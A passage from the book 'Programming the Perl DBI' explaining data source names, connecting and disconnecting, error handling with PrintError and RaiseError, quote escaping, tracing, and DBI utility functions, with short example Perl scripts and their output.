die "No drivers found!\n" unless @drivers; # should never happen

### Iterate through the drivers and list the data sources for each one
foreach my $driver ( @drivers ) {
    print "Driver: $driver\n";
    my @dataSources = DBI->data_sources( $driver );
    foreach my $dataSource ( @dataSources ) {
        print "\tData Source is $dataSource\n";
    }
    print "\n";
}

exit;

The output from this script on my machine looks like:

Driver: ADO

Driver: CSV
    Data source is DBI:CSV:f_dir=megaliths
    Data source is DBI:CSV:f_dir=pictish_stones

Driver: ExampleP
    Data Source is dbi:ExampleP:dir=.

Driver: File
    Data Source is DBI:File:f_dir=megaliths
    Data Source is DBI:File:f_dir=pictish_stones

Driver: ODBC

Driver: Proxy

Driver: XBase
    Data Source is dbi:XBase:.

which tells us that we have the  standard
drivers DBD::Proxy, DBD::ADO,
DBD::File, and DBD::ExampleP
installed, as well as DBD::ODBC,
DBD::XBase, and DBD::CSV.

While this may be interesting in theory, in practice you rarely need to use these methods. Most applications are written to use one data source name, either hardcoded into the application or passed in as a parameter in some way.

When specifying a data source name for a database, the text following the driver prefix should be of the form that is appropriate for the particular database that you wish to connect to. This is very database-specific, but the following table shows some examples.[38]

[38]An excellent example of an application that figures out data source names at runtime is dbish, discussed more fully in Chapter 8, "DBI Shell and Database Proxying ".

Database

Example Connection Syntax

mSQL

dbi:mSQL:hostname:database:port_number

For example, to connect to a database called archaeo located on a machine called fowliswester.arcana.co.uk running on port number 1114, the following $data_source argument would be used:

dbi:mSQL:fowliswester.arcana.co.uk:archaeo:1114

Oracle

dbi:Oracle:connection_descriptor

Oracle has a slightly less cut-and-dried way of specifying connection identifiers due to the many different ways in which the Oracle database software can actually handle connections.

To break this nightmarish topic down into bite-sized chunks, Oracle may use two different types of connection. For local connections, Oracle uses a single item of information as the connection descriptor, either the name of the database or an alias to the database as specified in the Oracle configuration files. For a network-based connection, Oracle usually needs to know the alias of the connection descriptor as specified in the Oracle configuration files, or, if you are feeling suitably masochistic, you can specify the whole connection descriptor ... but, believe me, it isn't pretty.

For example, a simple Oracle $data_source value might be:

dbi:Oracle:archaeo

CSV

dbi:CSV:f_dir=/datafiles

The DBD::CSV module treats a group of comma-separated value files in a common directory as a database. The data source for this driver can contain a parameter f_dir that specifies the directory in which the files are located.

In the case of the $data_source argument, an empty or undefined value will result in the environment variable DBI_DSN being checked for a valid value. If this environment variable is not defined, or does not contain a valid value, the DBI will call die().

Previous | Home | Next
4.2. Handles | Book Index | 4.4. Connection and Disconnection
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Connection and Disconnection (Programming the Perl DBI)

 Programming the Perl DBISearch this book

4.4. Connection and Disconnection

The main activity in database programming usually involves the execution of SQL statements within a database. However, to accomplish this task, a connection to a database must be established first. Furthermore, after all the work has been done, it is good manners to disconnect from the database to free up both your local machine resources and, more importantly, valuable database resources.

4.4.1. Connection

In the case of simple databases, such as flat-file or Berkeley DB files, ``connecting'' is usually as simple as opening the files for reading or using the tie mechanism. However, in larger database systems, connecting may be considerably more complicated.

A relatively simple RDBMS is mSQL, which has a simple method of connection: to connect, a program connects to a TCP/IP port on the computer running the database. This establishes a live connection within the database. However, more complex systems, such as Oracle, have a lot more internal security and housekeeping work that must be performed at connection time. They also have more data that needs to be specified by the program, such as the username and password that you wish to connect with.

By looking at a broad spectrum of database systems, the information required to connect can be boiled down to:

  1. The data source name, a string containing information specifying the driver to use, what database you wish to connect to, and possibly its whereabouts. This argument takes the format discussed in the previous section and is highly database-specific.

  2. The username that you wish to connect to the database as. To elaborate on the concept of usernames a little further, some databases partition the database into separate areas, called schemas, in which different users may create tables and manipulate data. Users cannot affect tables and data created by other users. This setup is similar to accounts on a multiuser computer system, in that users may create their own files, which can be manipulated by them, but not necessarily by other users. In fact, users may decide to disallow all access to their files, or tables, from all other users, or allow access to a select group or all users.[39]

    [39]In general, this is true. However, some database systems, such as MySQL, support different users but only one schema.

    Most major database systems enforce a similar security policy, usually with an administrator having access to an account that allows them to read, modify, and delete any user's tables and data. All other users must connect as themselves. On these systems, your database username may be the same as your system login username, but it doesn't have to be.

    More minimal database systems may not have any concept of username-based authentication, but you still need to supply the username and password arguments, typically as empty strings.

  3. The password associated with the supplied username.

In light of these common arguments, the syntax for connecting to databases using DBI is to use the connect() call, defined as follows:

$dbh = DBI->connect( $data_source, $username, $password, \%attr );

The final argument, \%attr, is optional and may be omitted. \%attr is a reference to a hash that contains handle attributes to be applied to this connection. One of the most important items of the information supplied in this hash is whether or not automatic error handling should be supplied by DBI. We will discuss this in further detail in the following section, but the two common attributes are called RaiseError and PrintError , which cause the DBI to die or print a warning automatically when a database error is detected.

This method, when invoked, returns a database handle if the connection has been successfully made to the database. Upon failure, the value undef is returned.

To illustrate the DBI->connect() method, assume that we have an Oracle database called archaeo. To connect to this database, we might use the following code:

#!/usr/bin/perl -w
#
# ch04/connect/ex1: Connects to an Oracle database.

use DBI;            # Load the DBI module

### Perform the connection using the Oracle driver
my $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" )
    or die "Can't connect to Oracle database: $DBI::errstr\n";

exit;

This simple example illustrates the use of the DBI->connect() method to make one connection to the database. We also perform error checking on the call to ensure that the connection occurs; upon failure, the error message will be printed along with the database-specific reason for the failure, which will be contained within the variable $DBI::errstr.[40]

[40]Actually, the error message will be displayed twice for reasons that will be explained in Section 4.5, "Error Handling " later in this chapter.

A more complicated example might be to connect twice to the same database from within the one script:

#!/usr/bin/perl -w
#
# ch04/connect/ex2: Connects to two Oracle databases simultaneously
#                   with identical arguments. This is to illustrate
#                   that all database handles, even if identical
#                   argument-wise, are completely separate from
#                   one another.

use DBI;            # Load the DBI module

### Perform the connection using the Oracle driver
my $dbh1 = DBI->connect( "dbi:Oracle:archaeo", "username", "password" )
    or die "Can't make 1st database connect: $DBI::errstr\n";

my $dbh2 = DBI->connect( "dbi:Oracle:archaeo", "username", "password" )
    or die "Can't make 2nd database connect: $DBI::errstr\n";

exit;

or to connect simultaneously to two different databases. For example:

#!/usr/bin/perl -w
#
# ch04/connect/ex3: Connects to two Oracle databases simultaneously.

use DBI;            # Load the DBI module

### Perform the connection using the Oracle driver
my $dbh1 = DBI->connect( "dbi:Oracle:archaeo", "username", "password" )
    or die "Can't connect to 1st Oracle database: $DBI::errstr\n";

my $dbh2 = DBI->connect( "dbi:Oracle:seconddb", "username", "password" )
    or die "Can't connect to 2nd Oracle database: $DBI::errstr\n";

exit;

This former example is quite interesting, because even though we have used identical arguments to DBI->connect(), the two database handles created are completely separate and do not share any information.

A final example of using DBI->connect() is to connect to two different databases (one Oracle, one mSQL) within the same script. In this case, DBI's automatic error reporting mechanism will be disabled in the mSQL database by passing an attribute hash to the connect() call, as shown here:

#!/usr/bin/perl -w
#
# ch04/connect/ex4: Connects to two database, one Oracle, one mSQL
#                   simultaneously. The mSQL database handle has
#                   auto-error-reporting disabled.

use DBI;            # Load the DBI module

### Perform the connection using the Oracle driver
my $dbh1 = DBI->connect( "dbi:Oracle:archaeo", "username", "password" )
    or die "Can't connect to Oracle database: $DBI::errstr\n";

my $dbh2 = DBI->connect( "dbi:mSQL:seconddb", "username", "password" , {
            PrintError => 0
        } )
    or die "Can't connect to mSQL database: $DBI::errstr\n";

exit;

The $username and $password arguments should be specified but may be empty ( '' ) if not required. As discussed previously, the $data_source argument can also be undefined and the value of the environment variable DBI_DSN will be used instead, if it has been set.

4.4.2. Disconnection

Explicit disconnection from the database is not strictly necessary if you are exiting from your program after you have performed all the work, but it is a good idea. We strongly recommend that you get into the habit of disconnecting explicitly.

DBI provides a method through which programmers may disconnect a given database handle from its database. This is good practice, especially in programs in which you have performed multiple connections or will be carrying out multiple sequential connections.

The method for performing disconnections is:

$rc = $dbh->disconnect();

According to this definition, disconnect() is invoked against a specific database handle. This preserves the notion that database handles are completely discrete. With multiple database handles active at any given time, each one must explictly be disconnected.

An example of using disconnect() might look like:

#!/usr/bin/perl -w
#
# ch04/disconnect/ex1: Connects to an Oracle database
#                      with auto-error-reporting disabled
#                      then performs an explicit disconnection.

use DBI;            # Load the DBI module

### Perform the connection using the Oracle driver
my $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" , {
            PrintError => 0
        } )
    or die "Can't connect to Oracle database: $DBI::errstr\n";

### Now, disconnect from the database
$dbh->disconnect
    or warn "Disconnection failed: $DBI::errstr\n";

exit;

Upon successful disconnection, the return value will be true. Otherwise, it will be false. In practice, failure to disconnect usually means that the connection has already been lost for some reason. After disconnecting the database handle can't be used for anything worthwhile.

What happens if you don't explicitly disconnect? Since DBI handles are references to Perl objects, Perl's own garbage collector will move in and sweep up any object trash you leave lying around. It does that by calling the object's DESTROY method when there are no longer any references to the object held by your script, or when Perl is exiting.

The DESTROY method for a database handle will call disconnect() for you, if you've left the handle connected, in order to disconnect cleanly from the database. But it will complain about having to do so by issuing a warning:

Database handle destroyed without explicit disconnect.

A major caveat with the disconnect() method regards its behavior towards automatically committing transactions at disconnection. For example, if a program has updated data but has not called commit() or rollback() before calling disconnect(), the action taken by different database systems varies. Oracle will automatically commit the modifications, whereas Informix may not. To deal with this, the DESTROY method has to call rollback() before disconnect() if AutoCommit is not enabled. In Chapter 6, "Advanced DBI ", we'll discuss the effect of disconnect() and DESTROY on transactions in more detail.

Previous | Home | Next
4.3. Data Source Names | Book Index | 4.5. Error Handling
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Error Handling (Programming the Perl DBI)

 Programming the Perl DBISearch this book

4.5. Error Handling

The handling of errors within programs, or the lack thereof, is one of the more common causes of questions concerning programming with DBI. Someone will ask "Why doesn't my program work?" and the answer generally runs along the lines of "Why aren't you performing error checking?" Sure enough, nine out of ten times when error checking is added, the exact error message appears and the cause for error is obvious.

4.5.1. Automatic Versus Manual Error Checking

Early versions of the DBI required programmers to perform their own error checking, in a traditional way similar to the examples listed earlier for connecting to a database. Each method that returned some sort of status indicator as to its success or failure should have been followed by an error condition checking statement. This is an excellent, slightly C-esque way of programming, but it quickly gets to be tiresome, and the temptation to skip the error checking grows.

The DBI now has a far more straightforward error-handling capability in the style of exception s. That is, when DBI internally detects that an error has occurred after a DBI method call, it can automatically either warn() or die() with an appropriate message. This shifts the onus of error checking away from the programmer and onto DBI itself, which does the job in the reliable and tireless way that you'd expect.

Manual error checking still has a place in some applications where failures are expected and common. For example, should a database connection attempt fail, your program can detect the error, sleep for five minutes, and automatically re-attempt a connection. With automatic error checking, your program will exit, telling you only that the connection attempt failed.

DBI allows mixing and matching of error-checking styles by allowing you to selectively enable and disable automatic error checking on a per-handle basis.

4.5.1.1. Manual error checking

Of course, the DBI still allows you to manually error check your programs and the execution of DBI methods. This form of error checking is more akin to classic C and Perl programming, where each important statement is checked to ensure that it has executed successfully, allowing the program to take evasive action upon failure.

DBI, by default, performs basic automatic error reporting for you by enabling the PrintError attribute. To disable this feature, simply set the value to 0 either via the handle itself after instantiation, or, in the case of database handles, via the attribute hash of the connect( ) method.

For example:

### Attributes to pass to DBI->connect(  )
%attr = (
    PrintError => 0,
    RaiseError => 0
);

### Connect...
my $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" , \%attr );

### Re-enable warning-level automatic error reporting...
$dbh->{PrintError} = 1;

Most DBI methods will return a false status value, usually undef, when execution fails. This is easily tested by Perl in the following way:

### Try connecting to a database
my $dbh = DBI->connect( ... )
    or die "Can't connect to database: $DBI::errstr!\";

The following program disables automatic error handling, with our own tests to check for errors. This example also moves the attributes into the connect( ) method call itself, a clean style that's commonly used:

  #!/usr/bin/perl -w
  #
  # ch04/error/ex1: Small example using manual error checking.

  use DBI;            # Load the DBI module

  ### Perform the connection using the Oracle driver
  my $dbh = DBI->connect( undef, "stones", "stones", {
      PrintError => 0,
      RaiseError => 0
  } ) or die "Can't connect to the database: $DBI::errstr\n";

  ### Prepare a SQL statement for execution
  my $sth = $dbh->prepare( "SELECT * FROM megaliths" )
      or die "Can't prepare SQL statement: $DBI::errstr\n";

  ### Execute the statement in the database
  $sth->execute
      or die "Can't execute SQL statement: $DBI::errstr\n";

  ### Retrieve the returned rows of data
  my @row;
  while ( @row = $sth->fetchrow_array(  ) ) {
      print "Row: @row\n";
  }
  warn "Data fetching terminated early by error: $DBI::errstr\n"
      if $DBI::err;

  ### Disconnect from the database
  $dbh->disconnect
      or warn "Error disconnecting: $DBI::errstr\n";

  exit;

As can be seen from the example, the code to check the errors that may have arisen in a DBI method is actually longer than the code to perform the operations themselves. Similarly, it is entirely possible that you may just genuinely forget to add a check after a statement, which may result in extremely bizarre program execution and error reporting, not to mention hours of wasted debugging time!

4.5.1.2. Automatic error checking

The automatic error checking capabilities of the DBI operates on two levels. The PrintError handle attribute tells DBI to call the Perl warn( ) function (which typically results in errors being printed to the screen when encountered) and the RaiseError handle attribute (which tells DBI to call the Perl die( ) function upon error, typically causing the script to immediately abort).

Because the standard Perl functions of warn( ) and die( ) are used, you can change the effects of PrintError and RaiseError with the $SIG{_ _WARN_ _} and $SIG{_ _DIE_ _} signal handlers. Similarly, a die( ) from RaiseError can be caught via eval { ... }.

These different levels of automatic error checking can be turned on for any handle, although database handles are usually the most common and useful. To enable the style of automatic error checking you want, you may set the value of either of the following two attributes:

$h->{PrintError} = 1;
$h->{RaiseError} = 1;

Similarly, to disable automatic error checking, simply set the value of these attributes to 0.

If both RaiseError and PrintError are enabled, an error will cause warn( ) and die( ) to be executed sequentially. If no $SIG{_ _DIE_ _} handle has been defined, warn( ) is skipped to avoid the error message being printed twice.[41]

[41]The exact behavior when both attributes are set may change in future versions. This is something to consider if the code is inside an eval.

A more common way in which these attributes are used is to specify them in the optional attribute hash supplied to DBI->connect( ) when connecting to a database. Automatic error checking is the recommended style in which to write DBI code, so PrintError is enabled by default in DBI->connect( ). You can think of this as training wheels for novices and grease for quick-and-dirty script writers. Authors of more significant works usually either enable RaiseError or disable PrintError and do their own error checking.

The following short example illustrates the use of RaiseError instead of manual error checking is:

  #!/usr/bin/perl -w
  #
  # ch04/error/ex2: Small example using automatic error handling with
  #                 RaiseError, i.e., the program will abort upon detection
  #                 of any errors.

  use DBI;            # Load the DBI module

  my ($dbh, $sth, @row);

  ### Perform the connection using the Oracle driver
  $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" , {
      PrintError => 0,   ### Don't report errors via warn(  )
      RaiseError => 1    ### Do report errors via die(  )
  } );
  ### Prepare a SQL statement for execution
  $sth = $dbh->prepare( "SELECT * FROM megaliths" );

  ### Execute the statement in the database
  $sth->execute(  );

  ### Retrieve the returned rows of data
  while ( @row = $sth->fetchrow_array(  ) ) {
      print "Row: @row\n";
  }

  ### Disconnect from the database
  $dbh->disconnect(  );

  exit;

This example is both shorter and more readable than the manual error checking shown in a following example. The actual program logic is clearer. The most obvious additional benefit is that we can forget to handle error checking manually after a DBI operation, since the DBI will check for errors for us.

4.5.1.3. Mixed error checking

You can mix error checking styles within a single program, since automatic error checking can be easily enabled and disabled on a per-handle basis. There are plenty of occasions where mixed error checking is useful. For example, you might have a program that runs continuously, such as one that polls a database for recently added stock market quotes every couple of minutes.

Disaster occurs! The database crashes! The ideal situation here is that the next time the program tries connecting to the database and fails, it'll wait a few minutes before retrying rather than aborting the program altogether. Once we've connected to the database, the error checking should now simply warn when a statement fails and not die.

This mixed style of error checking can be broken down into two areas: manual error checking for the DBI->connect( ) call, and automatic error checking via PrintError for all other statements. This is illustrated in the following example program:

  #!/usr/bin/perl -w
  #
  # ch04/error/mixed1: Example showing mixed error checking modes.

  use DBI;            # Load the DBI module

  ### Attributes to pass to DBI->connect(  ) to disable automatic
  ### error checking
  my %attr = (
      PrintError => 0,
      RaiseError => 0,
  );

  ### The program runs forever and ever and ever and ever ...
  while ( 1 ) {
      my $dbh;

      ### Attempt to connect to the database. If the connection
      ### fails, sleep and retry until it succeeds ...
      until (
          $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" ,
                 \%attr )
      ) {
          warn "Can't connect: $DBI::errstr. Pausing before retrying.\n";
          sleep( 5 * 60 );
      }

      eval {      ### Catch _any_ kind of failures from the code within

          ### Enable auto-error checking on the database handle
          $dbh->{RaiseError} = 1;

          ### Prepare a SQL statement for execution
          my $sth = $dbh->prepare( "SELECT stock, value FROM current_values" );

          while (1) {

              ### Execute the statement in the database
              $sth->execute(  );

              ### Retrieve the returned rows of data
              while ( my @row = $sth->fetchrow_array(  ) ) {
                  print "Row: @row\n";
              }

              ### Pause for the stock market values to move
              sleep 60;
          }

      };
      warn "Monitoring aborted by error: $@\n" if $@;

      ### Short sleep here to avoid thrashing the database
      sleep 5;
  }

  exit;

This program demonstrates that with DBI, you can easily write explicit error checking and recovery code alongside automatic error checking.

4.5.2. Error Diagnostics

The ability to trap errors within the DBI is very useful, with either manual or automatic error checking, but this information is only marginally useful on its own. To be truly useful, it is necessary to discern exactly what the error was in order to track it down and debug it.

To this end, DBI defines several error diagnostic methods that can be invoked against any valid handle, driver, database, or statement. These methods will inform the programmer of the error code and report the verbose information from the last DBI method called. These are:

$rv  = $h->err();
$str = $h->errstr();
$str = $h->state();

These various methods return the following items of information that can be used for more accurate debugging of errors:

  • $h- >err() returns the error number that is associated with the current error flagged against the handle $h. The values returned will be completely dependent on the values produced by the underlying database system. Some systems may not support particularly meaningful information; for example, mSQL errors always have the error number of -1. Oracle is slightly more helpful: a connection failure may flag an ORA-12154 error message upon connection failure, which would return the value of 12154 by invoking $h->err(). Although this value is usually a number, you should not rely on that.

  • $h- >errstr() is a slightly more useful method, in that it returns a string containing a description of the error, as provided by the underlying database. This string should correspond to the error number returned in $h->err().

    For example, mSQL returns -1 as the error number for all errors, which is not particularly useful. However, invoking $h->errstr() provides far more useful information. In the case of connection failure, the error:

    ERROR : Can't connect to local MSQL server

    might be generated and returned by $h->errstr(). Under Oracle, a connection failure returning the error number of 12154 will return the following string as its descriptive error message:

    ORA-12154: TNS:could not resolve service name (DBD ERROR: OCIServerAttach)

  • $h- >state() returns a string in the format of the standard SQLSTATE five-character error string. Many drivers do not fully support this method, and upon invoking it to discern the SQLSTATE code, the value:

    S1000

    will be returned. The specific general success code 00000 is translated to 0, so that if no error has been flagged, this method will return a false value.

The error information for a handle is reset by the DBI before most DBI method calls. Therefore, it's important to check for errors from one method call before calling the next method on the same handle. If you need to refer to error information later you'll need to save it somewhere else yourself.

A rewriting of the previous example to illustrate using the specific handle methods to report on errors can be seen in the following code:

#!/usr/bin/perl -w
#
# ch04/error/ex3: Small example using manual error checking which also uses
#                 handle-specific methods for reporting on the errors.

use DBI;            # Load the DBI module

### Attributes to pass to DBI->connect() to disable automatic
### error checking
my %attr = (
    PrintError => 0,
    RaiseError => 0,
);

### Perform the connection using the Oracle driver
my $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" , \%attr )
    or die "Can't connect to database: ", $DBI::errstr, "\n";

### Prepare a SQL statement for execution
my $sth = $dbh->prepare( "SELECT * FROM megaliths" )
    or die "Can't prepare SQL statement: ", $dbh->errstr(), "\n";

### Execute the statement in the database
$sth->execute
    or die "Can't execute SQL statement: ", $sth->errstr(), "\n";

### Retrieve the returned rows of data
while ( my @row = $sth->fetchrow_array() ) {
    print "Row: @row\n";
}
warn "Problem in fetchrow_array(): ", $sth->errstr(), "\n"
    if $sth->err();

### Disconnect from the database
$dbh->disconnect
    or warn "Failed to disconnect: ", $dbh->errstr(), "\n";

exit;

As you can see, it's even more long-winded than using the $DBI::errstr variable, which can at least be interpolated directly into the error messages.

In addition to these three methods, which allow finely grained error checking at a handle level, there are three corresponding variables that will contain the same information, but at a DBI class level:

$DBI::err
$DBI::errstr
$DBI::state

Use of these variables is essentially the same as that of $h->err() and friends, but the values referred to are for the last handle used within DBI. They are particularly handy for interpolating into strings for error messages.

Since these variables are associated with the last handle used within the DBI, they have an even shorter lifespan than the handle error methods, and should be used only immediately after the method call that failed. Otherwise, it is highly likely they will contain misleading error information.

The one case where the variables are very useful is for connection errors. When these errors occur, there's no new handle returned in which to hold error information. Since scripts don't use the internal driver handles, the $DBI::errstr variable provides a very simple and effective way to get the error message from a connect() failure.

In summary, for most applications, automatic error checking using RaiseError and/or PrintError is recommended. Otherwise, manual checking can be used and $DBI::errstr can easily be interpolated into messages. The handle methods are available for more complex applications.

Previous | Home | Next
4.4. Connection and Disconnection | Book Index | 4.6. Utility Methods and Functions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Utility Methods and Functions (Programming the Perl DBI)

 Programming the Perl DBISearch this book

4.6. Utility Methods and Functions

To round off our basic introduction to DBI, we'll tell you about some useful utility methods and functions that will make your life that little bit easier. These include the very useful quote escaping method, DBI execution tracing, and various functions to tidy up your data.

4.6.1. Database-Specific Quote Handling

By far the most important utility method is quote() , which correctly quotes and escapes SQL statements in a way that is suitable for a given database engine. This feature is important if you have a Perl string that you wish to insert into a database, as the data will be required, in most cases, to have quotation marks around it.

To confuse matters, database engines tend to have a different format for specifying these surrounding quotation marks. DBI circumvents this problem by declaring the quote() method to be executed against a database handle, which ensures that the correct quotation rules are applied.

This method, when executed against a database handle, converts the string given as an argument according to defined rules, and returns the correctly escaped string for use against the database.

For example:

#!/usr/bin/perl -w
#
# ch04/util/quote1: Demonstrates the use of the $dbh->quote() method

use DBI;

### The string to quote
my $string = "Don't view in monochrome (it looks 'fuzzy')!";

### Connect to the database
my $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" , {
    RaiseError => 1
} );

### Escape the string quotes ...
my $quotedString = $dbh->quote( $string );

### Use quoted string as a string literal in a SQL statement
my $sth = $dbh->prepare( "
    SELECT *
    FROM media
    WHERE description = $quotedString
  " );
$sth->execute();

exit;

For example, if you quoted the Perl string of Do it! via an Oracle database handle, you would be returned the value of 'Do it!'. However, the quote() method also takes care of cases such as Don't do it! which needs to be translated to 'Don''t do it!' for most databases. The simplistic addition of surrounding quotes would have produced 'Don't do it!' which is not a valid SQL string literal.

Some databases require a more complex quote() method, and some drivers (though not all) have a quote() method that can cope with multiline strings and even binary data.

As a special case, if the argument is undef, the quote() method returns the string NULL , without quotes. This corresponds to the DBI's use of undef to represent NULL values, and to how NULL values are used in SQL.

4.6.2. Tracing DBI Execution

DBI sports an extremely useful ability to generate runtime tracing information of what it's doing, which can be a huge time-saver when trying to track down strange problems in your DBI programs.

At the highest level, you can call the DBI- >trace() method, which enables tracing on all DBI operations from that point onwards. There are several valid tracing levels:

0

Disables tracing.

1

Traces DBI method execution showing returned values and errors.

2

As for 1, but also includes method entry with parameters.

3

As for 2, but also includes more internal driver trace information.

4

Levels 4, and above can include more detail than is helpful.

The trace() method can be used with two argument forms, either specifying only the trace level or specifying both the trace level and a file to which the trace information is appended. The following example shows the use of DBI->trace():

#!/usr/bin/perl -w
#
# ch04/util/trace1: Demonstrates the use of DBI tracing.

use DBI;

### Remove any old trace files
unlink 'dbitrace.log' if -e 'dbitrace.log';

### Connect to a database
my $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" );

### Set the tracing level to 1 and prepare()
DBI->trace( 1 );
doPrepare();

### Set trace output to a file at level 2 and prepare()
DBI->trace( 2, 'dbitrace.log' );
doPrepare();

### Set the trace output back to STDERR at level 2 and prepare()
DBI->trace( 2, undef );
doPrepare();

exit;

### prepare a statement (invalid to demonstrate tracing)
sub doPrepare {
    print "Preparing and executing statement\n";
    my $sth = $dbh->prepare( "
        SELECT * FROM megalith
    " );
    $sth->execute();
    return;
}

exit;

This program generates quite a bit of trace information, of which we'll show just a small fragment:

-> prepare for DBD::Oracle::db (DBI::db=HASH(0xcd45c)~0xcd4a4 '
      SELECT * FROM megalith
  ') thr0
  <- prepare= DBI::st=HASH(0xcd648) at trace1 line 30.
  -> execute for DBD::Oracle::st (DBI::st=HASH(0xcd648)~0x16afec) thr0
  dbd_st_execute SELECT (out0, lob0)...
  !! ERROR: 942 'ORA-00942: table or view does not exist (DBD ERROR:
     OCIStmtExecute)'
  <- execute= undef at trace1 line 33.
DBD::Oracle::st execute failed: ORA-00942: table or view does not exist (DBD
ERROR: OCIStmtExecute) at trace1 line 33.

This trace information was generated with a setting of level 2, and shows the operations that DBI undertook when trying to prepare and execute a statement. Lines prepended with -> are written when the method is being entered, and lines prepended with <- are written when the method is returning. These lines also show the information being returned from the method call. The DBI trace output is indented by four spaces to make it easier to distinguish the trace output from any other program output.

You can see the prepare() method being called along with its parameters: a database handle and the SQL statement to prepare.[42] The next line shows the prepare() returning a statement handle. It also shows the file and line number that prepare() was called from. Following that, we see execute() being called, a trace line from the driver itself, and the method returning after logging an error. Finally we see the warning generated by the DBI due to the PrintError attribute, which is on by default.

[42]If the Perl you are using was built with threading enabled, then each method entry line also shows the thread number, e.g., thr0. The DBI implements a per-driver mutex so that each DBD driver may only be entered by one thread at a time. Trace levels 4 and above show this in action.

The trace information generated at level 1 is similar. The main difference is that the method entry lines (->) are not shown.

The one drawback to this form of tracing is that if your program uses a lot of handles, then the volume of tracing information could be quite vast. Similarly, you might have tracked your problem down to a specific database operation that you'd like to trace individually.

The trace() method is also available at a handle level, allowing you to individually trace any database and statement handle operations. Therefore, you could trace operations on a given database handle to level 1 and a single statement handle to level 2. For example:

### Connect to a database...
my $dbh = DBI->connect( "dbi:Oracle:archaeo", "username", "password" );

### Trace the database handle to level 1 to the screen
$dbh->trace( 1 );

### Create a new statement
my $sth = ...;

### Trace the statement to level 2 to the file 'trace.lis'
$sth->trace( 2, 'trace.lis' );

Note that if a filename is specified when calling trace(), then currently, trace output from all handles is redirected to that file.

If your programs are exhibiting odd behavior or are generating errors on a regular basis, you should consider using the built-in tracing features of DBI to help you resolve your problems. This tool is extremely useful, as you will be able to see exactly what data is being passed to the database, allowing you to ensure that it's in the correct format.

Finally, tracing can also be controlled via the use of an environment variable called DBI_TRACE , which acts in a similar manner to the DBI->trace() method. That is, it traces all handles used within the program. This environment variable can be used in three ways that are summarized in the following table.

DBI_TRACE Value

Effect on DBI

1

DBI->trace(1);

dbitrace.log

DBI->trace(2, 'dbitrace.log');

4=dbitrace.log

DBI->trace(4, 'dbitrace.log');

If the trace level isn't specified in the DBI_TRACE environment variable, it will default to 2, as shown in the table above.

4.6.3. Neat and Tidy Formatting

The DBI features a couple of utility functions that can be used to tidy up strings into a form suitable for easy reading. These two functions are neat() and neat_list() , the former operating on a single scalar value, the latter operating on a list of scalar values.

For example, to use neat() to tidy up some strings, you could write:

#!/usr/bin/perl -w
#
# ch04/util/neat1: Tests out the DBI::neat() utility function.
#

use DBI;

### Declare some strings to neatify
my $str1 = "Alligator's an extremely neat() and tidy person";
my $str2 = "Oh no\nhe's not!";

### Neatify this first string to a maxlen of 40
print "String: " . DBI::neat( $str1, 40 ) . "\n";

### Neatify the second string to a default maxlen of 400
print "String: " . DBI::neat( $str2 ) . "\n";

### Neatify a number
print "Number: " . DBI::neat( 42 * 9 ) . "\n";

### Neatify an undef
print "Undef: " . DBI::neat( undef ) . "\n";

exit;

which generates the output of:

String: 'Alligator's an extremely neat() and...'
String: 'Oh no
he's not!'
Number: 378
Undef:  undef

demonstrating that string values are quoted,[43] whereas values known to be numeric are not. The first string has been truncated to the desired length with ... added. Undefined values are recognized and returned as the string undef without quotes.

[43]Note that internal quotes are not escaped. That's because neat() is designed to produce output for human readers, and to do so quickly since it's used by the internal trace mechanisms. If you wish quote escaping to occur, you could use the quote() method instead.

While the neat() function is handy for single values, the neat_list() function is handy for lists. It simply calls neat() on each element of the referenced list before joining the list of values together with the desired separator string. For example:

#!/usr/bin/perl -w
#
# ch04/util/neat2: Tests out the DBI::neat_list() utility function

use DBI qw( neat_list );

### Declare some strings to neatify
my @list = ( 'String-a-string-a-string-a-string-a-string', 42, 0, '', undef );

### Neatify the strings into an array
print neat_list( \@list, 40, ", " ), "\n";

exit;

which generates the output of:

'String-a-string-a-string-a-string-a...', 42, 0, '', undef

This example also shows that the utility functions can be imported into your package so you can drop the DBI:: prefix.

DBI uses neat() and neat_list() internally to format the output generated by tracing. That's important to know if you're wondering why the trace output is truncating your huge SQL statements down to 400 characters.[44]

[44]400 characters is the default value for the $DBI::neat_maxlen variable, which defines the default maximum length for the neat() function.

4.6.4. Numeric Testing

The final utility function supplied by DBI that we'll look at is quite a curious one called looks_like_number() . This function quite simply tells you whether or not a value looks like a number or not.

looks_like_number() operates by taking a list of values as an argument and returns a new array signifying whether or not the corresponding value within the original array was a number, not a number, or undefined.

This may seem rather a curious thing to want to do, but in the case of handling large quantities of data, it's useful for working out which values might need to have their quotes escaped via the quote() method.

The returned array will contain the same number of values as the original data array, with the elements containing one of three values signifying the following:

true        The original value is a number.
false       The original value is not a number.
undef       The original value is empty or undefined.

The following example illustrates how this process works:

#!/usr/bin/perl -w
#
# ch04/util/lookslike1: Tests out the DBI::looks_like_number() function.
#

use DBI;

### Declare a list of values
my @values = ( 333, 'Choronzon', 'Tim', undef, 'Alligator', 1234.34,
               'Linda', 0x0F, '0x0F', 'Larry Wall' );

### Check to see which are numbers!
my @areNumbers = DBI::looks_like_number( @values );

for (my $i = 0; $i < @values; ++$i ) {

    my $value = (defined $values[$i]) ? $values[$i] : "undef";

    print "values[$i] -> $value ";

    if ( defined $areNumbers[$i] ) {
        if ( $areNumbers[$i] ) {
            print "is a number!\n";
        }
        else {
            print "is utterly unlike a number and should be quoted!\n";
        }
    }
    else {
        print "is undefined!\n";
    }
}

exit;

The results from this program illustrate how the values are treated and shows that hexadecimal values are not treated as numbers:

values[0] -> 333 is a number!
values[1] -> Choronzon is utterly unlike a number and should be quoted!
values[2] -> Tim is utterly unlike a number and should be quoted!
values[3] -> undef is undefined!
values[4] -> Alligator is utterly unlike a number and should be quoted!
values[5] -> 1234.34 is a number!
values[6] -> Linda is utterly unlike a number and should be quoted!
values[7] -> 15 is a number!
values[8] -> 0x0F is utterly unlike a number and should be quoted!
